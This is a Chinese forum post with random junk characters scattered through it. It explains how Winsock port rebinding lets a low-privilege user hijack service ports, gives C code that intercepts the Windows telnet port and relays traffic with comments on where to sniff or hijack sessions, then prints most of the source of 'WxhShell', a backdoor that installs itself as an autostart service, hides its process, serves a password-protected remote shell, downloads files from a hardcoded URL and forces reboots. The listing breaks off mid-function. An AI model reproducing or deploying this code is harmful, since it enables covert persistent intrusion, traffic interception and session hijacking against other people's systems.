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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cV5Lp4wY?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Tc`LY/%Od  
Tp`by 1s  
  saddr.sin_family = AF_INET; VWG#v #o  
n5%rsNxg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x 1$tS#lS  
2`l$uEI3oJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8KW}XG  
?(!$vqS`f(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3 $Uv  
`{/z\  
  这意味着什么?意味着可以进行如下的攻击: G;MgrA#\  
R{+ Rvk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  OXzJ%&h  
e4ajT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S~ }?6/G.  
!o&Mw:d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lvb0dOmY  
(9$/r/-a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9+SeG\Th  
`96:Z-!}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zie])_8|h  
U\ y?P:yy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6$b"tdP  
W9Bl'e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yc4mWB~gyU  
oWo"` "P  
  #include M0x5s@  
  #include ((Ec:(:c  
  #include 3b{8c8N^  
  #include    7 4aap2^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JHc|.2Oe  
  int main() >RBq&'f  
  { i3*?fMxhu)  
  WORD wVersionRequested; Yq#I# 2RD  
  DWORD ret; ||}|=Sz  
  WSADATA wsaData; 1U~AupHE  
  BOOL val; ]^&DEj{  
  SOCKADDR_IN saddr; M,t8<y4 W/  
  SOCKADDR_IN scaddr; f3V&i)w(  
  int err; av gGz8  
  SOCKET s; R',|Jf=`  
  SOCKET sc; l`gRw4 /$  
  int caddsize; fmA&1u/xMs  
  HANDLE mt; c$?qN&X_K  
  DWORD tid;   Nt&}T  
  wVersionRequested = MAKEWORD( 2, 2 ); 7l7eUy/z  
  err = WSAStartup( wVersionRequested, &wsaData ); Z,,Da|edH  
  if ( err != 0 ) { }%y_Lc L  
  printf("error!WSAStartup failed!\n"); Zx55mSfx:  
  return -1; =@binTC4  
  } 0X0HDQ  
  saddr.sin_family = AF_INET; .pi#Z /v  
   @p|[7'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7u!R 'D  
e1}h|HL j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b\][ x6zJp  
  saddr.sin_port = htons(23); zEF3B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6VQ*z8wLw  
  { emw3cQ  
  printf("error!socket failed!\n"); -G;4['p  
  return -1; g*- K!X6l  
  } =^q:h<  
  val = TRUE; ,, ]y 8P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6peO9]Zy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sTeL4g|%{  
  { E} Uy-  
  printf("error!setsockopt failed!\n"); \KLWOj%  
  return -1; = Yh>5A  
  } =o{zw+|% %  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n|SsV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d|j3E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8cfxKUS  
<|hvH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }n:'@}  
  { D D"]as"#  
  ret=GetLastError(); '"~|L>F%G  
  printf("error!bind failed!\n"); FFR_1Vf  
  return -1; C% }FVO\c  
  } 2B=yT8  
  listen(s,2); yew9bn0a=  
  while(1) 3UslVj1u  
  { -AD3Pd|Y[  
  caddsize = sizeof(scaddr); 8.{5c6G  
  //接受连接请求  #XQEfa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ls5|4%+&  
  if(sc!=INVALID_SOCKET) +7^%fX;3pW  
  { {]Nvq9?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,D+pGxbr   
  if(mt==NULL) 6n  
  { "CT'^d+  
  printf("Thread Creat Failed!\n"); p r(:99~3  
  break; T.`EDluG  
  } Cbx/  
  } +sQ=Uw#e  
  CloseHandle(mt); #If}P$!  
  } \a<qI  
  closesocket(s); CbS- Rz:  
  WSACleanup(); &h`s:Y  
  return 0; (O\5gAx  
  }   owmV7E1  
  DWORD WINAPI ClientThread(LPVOID lpParam) oa}-=hG  
  { k9 .@S  
  SOCKET ss = (SOCKET)lpParam; 9=ns.r  
  SOCKET sc; 7xMvf<1P  
  unsigned char buf[4096]; ? Z.p.v  
  SOCKADDR_IN saddr; )ra_`Qdcf  
  long num; t*NZ@)>  
  DWORD val; k_ UY^vz.  
  DWORD ret; 4~P{H/]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L1VUfEG-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?y>P  
  saddr.sin_family = AF_INET; .Quu_S_ vH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jdK~]eld=  
  saddr.sin_port = htons(23); {SY@7G]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \v)Dy)Vhg2  
  { 3PIZay  
  printf("error!socket failed!\n"); Q0#oR [(  
  return -1; ,5mK_iUw3  
  } g1@zk $  
  val = 100; SGXXv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]e$mTRi*  
  { |cEJRs@B  
  ret = GetLastError(); T&oY:1D,g  
  return -1; yS[:C 2v  
  } cV\(Z6u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lG I1LUo  
  { ^ r-F@$:.  
  ret = GetLastError(); P(l$5x]g,  
  return -1; $]2srRA^A  
  } FIL?nkYEO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GbUw:I  
  { Iojyku\W.  
  printf("error!socket connect failed!\n"); (dd+wx't  
  closesocket(sc);  0w>V![  
  closesocket(ss); ]P;uQ!  
  return -1; cfBq/2I  
  } [CL.Xil=  
  while(1) )r3}9J  
  { Cc/h|4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j]U sb_7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X; I:i%-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \3JZ =/  
  num = recv(ss,buf,4096,0); "(zvI>A  
  if(num>0) 4y\qJw)~U  
  send(sc,buf,num,0); Yz(k4K L  
  else if(num==0) -^LUa]"E  
  break; Veo*-sl  
  num = recv(sc,buf,4096,0); }{T9`^V:h  
  if(num>0) " !F)K  
  send(ss,buf,num,0); ZG[P?fM  
  else if(num==0) TUHm.!+a  
  break; ^0)Mc"&{  
  } I,TJV)B  
  closesocket(ss); nGQc;p5;  
  closesocket(sc); +Ysm6n '  
  return 0 ; !~Vo'ykwx'  
  } 2;Vss<hR4A  
8=QOp[w   
'D`O4TsP>  
========================================================== kt`_n+G  
KZy2c6XO;  
下边附上一个代码,,WXhSHELL FvYgpbEZ  
:btb|^C  
========================================================== $J6Pv   
L7i2is  
#include "stdafx.h" V`P8oIOh]  
4/KGrY! ck  
#include <stdio.h> z=mH\!  
#include <string.h> w-iu/|}  
#include <windows.h> mm}y/dO~}  
#include <winsock2.h> O[}{$NXw  
#include <winsvc.h> 7egE."  
#include <urlmon.h> _y>mmE   
F1_s%&  
#pragma comment (lib, "Ws2_32.lib") di.yh3N$  
#pragma comment (lib, "urlmon.lib") Nq]8p =e  
p7{2/m j  
#define MAX_USER   100 // 最大客户端连接数 k;5$]^x  
#define BUF_SOCK   200 // sock buffer y yPQ^{zD  
#define KEY_BUFF   255 // 输入 buffer Ov$>CA  
>+ ,w2m@0  
#define REBOOT     0   // 重启 8;PS>9<  
#define SHUTDOWN   1   // 关机 /q| r!+  
cp1-eR_&  
#define DEF_PORT   5000 // 监听端口 V52>K$j  
u<L<o 2  
#define REG_LEN     16   // 注册表键长度 k1lo{jw`  
#define SVC_LEN     80   // NT服务名长度 SjosbdD  
{F!/\ 2a  
// 从dll定义API ;X_bDiG$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0Q7teXRM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vHJOpQmt~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LNz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @%lkRU)  
yv[3&E?  
// wxhshell配置信息 N5PW]  
struct WSCFG { [}Q_T.4)E  
  int ws_port;         // 监听端口 G2$<Q+UYs?  
  char ws_passstr[REG_LEN]; // 口令 45.<eWH$*(  
  int ws_autoins;       // 安装标记, 1=yes 0=no "Jahc.I  
  char ws_regname[REG_LEN]; // 注册表键名 n~"qbtp}  
  char ws_svcname[REG_LEN]; // 服务名 *S xDwN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !hs33@*u~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $e~MKLd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o3"Nxq"U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QdIx@[+WOq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OV G|WC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zif&;)wV/  
zq6)jHfq.  
}; dhX$b!DA  
&k@\k<2Ia  
// default Wxhshell configuration O~Jm<  
struct WSCFG wscfg={DEF_PORT, 0 k.\o"y  
    "xuhuanlingzhe", YpOcLxFL  
    1, oF0DprP@  
    "Wxhshell", xH\!j  
    "Wxhshell", (*M*muk  
            "WxhShell Service", HNRAtRvnY  
    "Wrsky Windows CmdShell Service", /[=Yv!  
    "Please Input Your Password: ", S$O5jX 0  
  1, GE8.{P  
  "http://www.wrsky.com/wxhshell.exe", YQ$LU \:  
  "Wxhshell.exe" E<ILZpP  
    }; $>8O2p7W  
w%?Zb[!&  
// 消息定义模块 upLjkQ)_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &cWC&Ws"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PNo9.-@G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =F2`X#x_j  
char *msg_ws_ext="\n\rExit."; csd9[=HW/Q  
char *msg_ws_end="\n\rQuit."; "38L ,PW0Z  
char *msg_ws_boot="\n\rReboot..."; 85f:!p  
char *msg_ws_poff="\n\rShutdown..."; %aI,K0\  
char *msg_ws_down="\n\rSave to "; 4@+']vN4  
y| 0!sNg  
char *msg_ws_err="\n\rErr!"; 7K HQ0  
char *msg_ws_ok="\n\rOK!"; q@G}Hjn  
!|W.YbS  
char ExeFile[MAX_PATH]; d8uDSy  
int nUser = 0; NQGa=kXeJ  
HANDLE handles[MAX_USER]; U(PW$\l  
int OsIsNt; ? 'qyI^m@  
Ma'#5)D  
SERVICE_STATUS       serviceStatus; 3RX9LJGX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bq;GO  
-e_|^T"  
// 函数声明 `g_r<EY8/  
int Install(void); bU/4KZ'-^  
int Uninstall(void); it-]-=mqb  
int DownloadFile(char *sURL, SOCKET wsh); 0~z`>#W,  
int Boot(int flag); jo?[M  
void HideProc(void); HOx+umjxW  
int GetOsVer(void); v8WT?%  
int Wxhshell(SOCKET wsl); Uqz.Q\A  
void TalkWithClient(void *cs); ]61Si~Z  
int CmdShell(SOCKET sock); h56Kmxxk  
int StartFromService(void); 0~EGrEt  
int StartWxhshell(LPSTR lpCmdLine); t 9t '9  
?(U a+*b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?S'aA !/;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vo6+|ztk|  
eh%{BXW[p  
// 数据结构和表定义 u(fZ^  
SERVICE_TABLE_ENTRY DispatchTable[] = f~*7hv\  
{ qco uZO  
{wscfg.ws_svcname, NTServiceMain}, d``wx}#Uk  
{NULL, NULL} 7x=4P|(\}  
}; *Ojl@N  
aNs8T`  
// 自我安装 #?k</~s6M`  
int Install(void) ,2 rfN"o  
{ AN6Q~%,  
  char svExeFile[MAX_PATH]; xmEom  
  HKEY key; L,.AY?)+7  
  strcpy(svExeFile,ExeFile); ByuBZ!m  
mBJr*_p  
// 如果是win9x系统,修改注册表设为自启动 REgM  
if(!OsIsNt) { ,v 2^Ui  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mo<q(_ZeRP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [= BMvP5  
  RegCloseKey(key); dA (n,@{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )[cuYH>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $qr6LIKGw  
  RegCloseKey(key); =-_hq'il  
  return 0; a|= ^   
    } u]7wd3(  
  } _yUYEq<`  
} f1v4h[)-  
else { |IV7g*J89  
W8$0y2  
// 如果是NT以上系统,安装为系统服务 cC>Svf[CzK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j}B86oX  
if (schSCManager!=0) ^H7xFd|>  
{ W;cY g.W2  
  SC_HANDLE schService = CreateService W1M322]>L  
  ( x{8h3.ZQ,  
  schSCManager, r#2Fk &Z9  
  wscfg.ws_svcname, UKZ )Boo  
  wscfg.ws_svcdisp, +&S6se4  
  SERVICE_ALL_ACCESS, @MB)B5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dw7Xy}I/  
  SERVICE_AUTO_START, d@1^U9sf  
  SERVICE_ERROR_NORMAL, ^r.CUhx)  
  svExeFile, b}ya9tCl;  
  NULL, 7n.Oem  
  NULL, 1AN$s  
  NULL, e3W~6P  
  NULL, z'$1$~I  
  NULL @v ^j<B  
  ); p%&$%yz$  
  if (schService!=0) aA52Li  
  { |idw?qCn  
  CloseServiceHandle(schService); OqDP{X:  
  CloseServiceHandle(schSCManager); UWqD)6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (DY[OIHI  
  strcat(svExeFile,wscfg.ws_svcname); v\4<6Z:4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0QW=2rs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +x}9a~QG#  
  RegCloseKey(key); 2vLun   
  return 0; Ikf[K%NKn  
    } (g/A uL  
  } *j&)=8Y|   
  CloseServiceHandle(schSCManager); aK - x{  
} rvy%8%e?  
} d[p2? ]  
Jj+Q2D:  
return 1; eBnx$  
} @WS77d~S  
9l &q}  
// 自我卸载 >~rlnRX  
int Uninstall(void) uf#h~;B  
{ iaEQF]*cC  
  HKEY key; l7qW)<r  
~Ay)kv;  
if(!OsIsNt) { aMY@**^v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2{63:f1c`'  
  RegDeleteValue(key,wscfg.ws_regname); Rh|9F yN  
  RegCloseKey(key); `}#rcDK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > B@c74  
  RegDeleteValue(key,wscfg.ws_regname); ?@$xLUHR4  
  RegCloseKey(key); 0Q&(j7`^@  
  return 0; v { >3)$1  
  } S\8v)|Pr  
} Oa~ThbX7  
} I{g.V|+ x  
else { CL1*pL  
8R3{YJ6@T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b-VygLN  
if (schSCManager!=0) zvdut ,6<  
{ 7\2I>W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b/:wpy+9Z  
  if (schService!=0) f|q/2}Bqb  
  { <z,)4z++  
  if(DeleteService(schService)!=0) { s%K(hk  
  CloseServiceHandle(schService); F5 ]<=i  
  CloseServiceHandle(schSCManager); w/m@(EBK  
  return 0; "UMaZgI  
  } %}9tU>?F#  
  CloseServiceHandle(schService); *7h~0%WR  
  } 6Bjo9,L  
  CloseServiceHandle(schSCManager); MZ,1mR  
} 'l.tV7  
} W"vLCHTh  
.<`)`:n+B  
return 1; -/JEKw c  
} baII!ks  
xyGwYv>*KO  
// 从指定url下载文件 ?/3wO/7[  
int DownloadFile(char *sURL, SOCKET wsh) ?^%[*OCCC!  
{ JKM(fX+  
  HRESULT hr; R}0gIp=  
char seps[]= "/"; UGO;5!  
char *token; xO )c23Z)]  
char *file; 1PwtzH .w  
char myURL[MAX_PATH]; E #,"C`&*  
char myFILE[MAX_PATH]; _ l`F}v  
r V%6 8x9  
strcpy(myURL,sURL); Ea@0>_U|  
  token=strtok(myURL,seps); -iDs:J4Iq  
  while(token!=NULL) kBR=a%kG  
  { m| ,Tk:xH  
    file=token; gt}Atr6>_  
  token=strtok(NULL,seps); ]AY 4bm  
  } '0+I'_(  
L[2qCxB'^  
GetCurrentDirectory(MAX_PATH,myFILE); JU>~[yAP  
strcat(myFILE, "\\"); Z5q%L!4G  
strcat(myFILE, file); JI!1 .]&  
  send(wsh,myFILE,strlen(myFILE),0); J -z.  
send(wsh,"...",3,0); V|'@D#\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,zoHmV1Wd+  
  if(hr==S_OK) y$R8J:5f  
return 0; |D)CAQn,  
else _R\FB|_  
return 1; 7T)y"PZ  
n{4iW_/D  
} QlGK+I>y;  
F-3=eKZ  
// 系统电源模块 8`*5[ L~~/  
int Boot(int flag) 5_!L"sJ  
{ t08U9`w  
  HANDLE hToken; j-1V,V=  
  TOKEN_PRIVILEGES tkp; aE07#  
F7=9> ,  
  if(OsIsNt) { vb~%u;zrC@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); > V(C>^%->  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); epnZGz,A  
    tkp.PrivilegeCount = 1; i<Ms2^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (>0`e8v!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ja3#W K  
if(flag==REBOOT) { 7RUztu\_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #eKKH]J/  
  return 0; J0IKI,X.  
} 8 siP  
else { LE}`rW3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) co\?SgE35  
  return 0; -`q!mdA2  
} c(hC'Cp  
  } O;VqrO  
  else { ]CP5s5  
if(flag==REBOOT) { 3|$?T|#B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) On);SN'  
  return 0; k`>qb8,  
} RbUir185Y  
else { x}a?B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BMAWjEr  
  return 0; x%X3FbF]  
} X#axCDM-  
} yzfiH4  
1W*Qc_5 v1  
return 1; 7vgRNzZoq  
} `GqF/?i  
\KJTR0EB:>  
// win9x进程隐藏模块 Q']'KU.  
void HideProc(void) rIPg,4y*S!  
{ %tkqWK:  
qX5]\nX&G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pq~#SxA~  
  if ( hKernel != NULL ) W\<OCD%X  
  { d3EN0e+^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oa+'.b~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ui8$F "I*  
    FreeLibrary(hKernel); }k AE  
  } tx;2C|S$oU  
3 a(SmM:  
return; A["6dbvv  
} GAH<  
@ ~{TL  
// 获取操作系统版本 f4<~_ZGr  
int GetOsVer(void) 7]u_  
{ ,FYA*}[  
  OSVERSIONINFO winfo; Q +hOW-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :6C R~p  
  GetVersionEx(&winfo); oBai9 [+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \l(}8;5}  
  return 1; miBCq l@x  
  else G8F;fG N  
  return 0; e{2Za   
} 0F!Uai1  
fc:87ZR{K  
// 客户端句柄模块 ;N!n06S3  
int Wxhshell(SOCKET wsl) rfdA?X{Q0  
{ _j$V[=kdM/  
  SOCKET wsh; X%!?\3S  
  struct sockaddr_in client; ?>=vKU5  
  DWORD myID; lKQjG+YF  
LVP6vs  
  while(nUser<MAX_USER) x2~fc  
{ r_ 9"^Er  
  int nSize=sizeof(client); zGO_S\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;,/G*`81B  
  if(wsh==INVALID_SOCKET) return 1; 5-a^Frmg#"  
.}R'(gN\6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qYqd-R  
if(handles[nUser]==0) 9%k4Ic%P  
  closesocket(wsh); ! , ]Fx  
else Qmd2C&Xw  
  nUser++; lh0G/8+C  
  } t(,2x%{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3Qv9=q|[b  
fm%4ab30T  
  return 0; ,9:v2=C_  
} ctgH/SU  
t- //.  
// 关闭 socket Zjc/GO  
void CloseIt(SOCKET wsh) $ ga,$G  
{ ;(g"=9e  
closesocket(wsh); oPAc6ObOV~  
nUser--; -uAGG?ZER  
ExitThread(0);  M+=q"#&  
} ' z^v}~  
,=ju^_^sA  
// 客户端请求句柄 ^y&2N  
void TalkWithClient(void *cs) kYS\TMt,C  
{ u8~5e  
l9 rN!Q|  
  SOCKET wsh=(SOCKET)cs; >Y3zO2Cr  
  char pwd[SVC_LEN]; ^SUo-N''  
  char cmd[KEY_BUFF]; <p_2&& ?  
char chr[1]; |<YF.7r;  
int i,j; Q>=/u-  
48GaZ@v  
  while (nUser < MAX_USER) { U$ZbBVa`~  
@bFl8-  
if(wscfg.ws_passstr) { F>u/Lh!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [di&N!Ao  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]w8h#p  
  //ZeroMemory(pwd,KEY_BUFF); S@L%X<Vm  
      i=0; IgF#f%|Q  
  while(i<SVC_LEN) { >vfLlYx  
x6yO2Yo  
  // 设置超时 k"`^vV[{F  
  fd_set FdRead; e $5s],,n  
  struct timeval TimeOut; ciPaCrV  
  FD_ZERO(&FdRead); l~`JFWur]  
  FD_SET(wsh,&FdRead); 2IDn4<`  
  TimeOut.tv_sec=8; BGT`) WP  
  TimeOut.tv_usec=0; ^6 ,}*@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p_sqw~)^%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3V/|"R2s  
TsRbIq[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tUFXx\p  
  pwd=chr[0]; wlX K2D  
  if(chr[0]==0xd || chr[0]==0xa) { j62oA$z  
  pwd=0; 6;\Tps;A  
  break; sr.!EQ]  
  } +Kg3qS"  
  i++; |VX0o2  
    } -F-,Gcos  
iHOvCrp+X  
  // 如果是非法用户,关闭 socket |fWR[\NU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cT^x^%  
} +3;[1dpgf  
D|5Fo'O^AV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g>Kh? (  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [%7oq;^J  
{B\lk:"X  
while(1) { x@"`KiEUs  
7y>{Y$n  
  ZeroMemory(cmd,KEY_BUFF); N%8aLD  
cU=/X{&Om  
      // 自动支持客户端 telnet标准   (@u"   
  j=0; v%2Jm!i+  
  while(j<KEY_BUFF) { o7 X5{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u!VY6y7p  
  cmd[j]=chr[0]; ;hU~nj+{  
  if(chr[0]==0xa || chr[0]==0xd) { PxZMH=  
  cmd[j]=0; xXc3#n  
  break; ,HO@bCK  
  } vn=0=(  
  j++; @$d_JwI  
    } g`zC0~D2  
qgLj^{  
  // 下载文件 _M}}H3  
  if(strstr(cmd,"http://")) { |/p2DU2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /H[!v:U  
  if(DownloadFile(cmd,wsh)) $P~Tt4068  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3MFb\s&Fq  
  else S QVyCxcX_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  'x\{sv  
  } aruT eJF  
  else { 0--0+?  
>5=uq _QY  
    switch(cmd[0]) { wrt^0n'r)c  
  79(Px2H2  
  // 帮助 HTUY|^^D  
  case '?': { G-Ju`.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (&Z`P  
    break; })@LvYK  
  } MDKiwT@#  
  // 安装 #~88[i-6  
  case 'i': { ,;wc$-Z!8  
    if(Install()) f)K1j{TZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8a4&}^|  
    else *l4`2eqZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kf7v_T /  
    break;  ~/kx  
    } -J=N  
  // 卸载 rn8t<=ptH3  
  case 'r': { #>\+6W17U  
    if(Uninstall()) v5o@ls  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 86\B|!   
    else Arb-,[kwN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KFMEY\6\h  
    break; J~vK`+Zs  
    } !>5!Fb=Sy  
  // 显示 wxhshell 所在路径  Enj],I  
  case 'p': { uEKa  FRm  
    char svExeFile[MAX_PATH]; R+O[,UM^I~  
    strcpy(svExeFile,"\n\r"); GiN\@F!  
      strcat(svExeFile,ExeFile); FsYsQ_,R3  
        send(wsh,svExeFile,strlen(svExeFile),0); y7CrH=^jc  
    break; }PDNW  
    } 0if~qGm=!  
  // 重启 PXYo@^ 3  
  case 'b': { 9fL48f$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SNK _  
    if(Boot(REBOOT)) B}y-zj; T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9>"To  
    else { kdry a  
    closesocket(wsh); M%8:  
    ExitThread(0); h0fbc;l  
    } e:  
    break; 4^O'K;$leD  
    } Mz sDDP+h  
  // 关机 hVcV_  
  case 'd': { u*$ 1e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C}{$'#DV2  
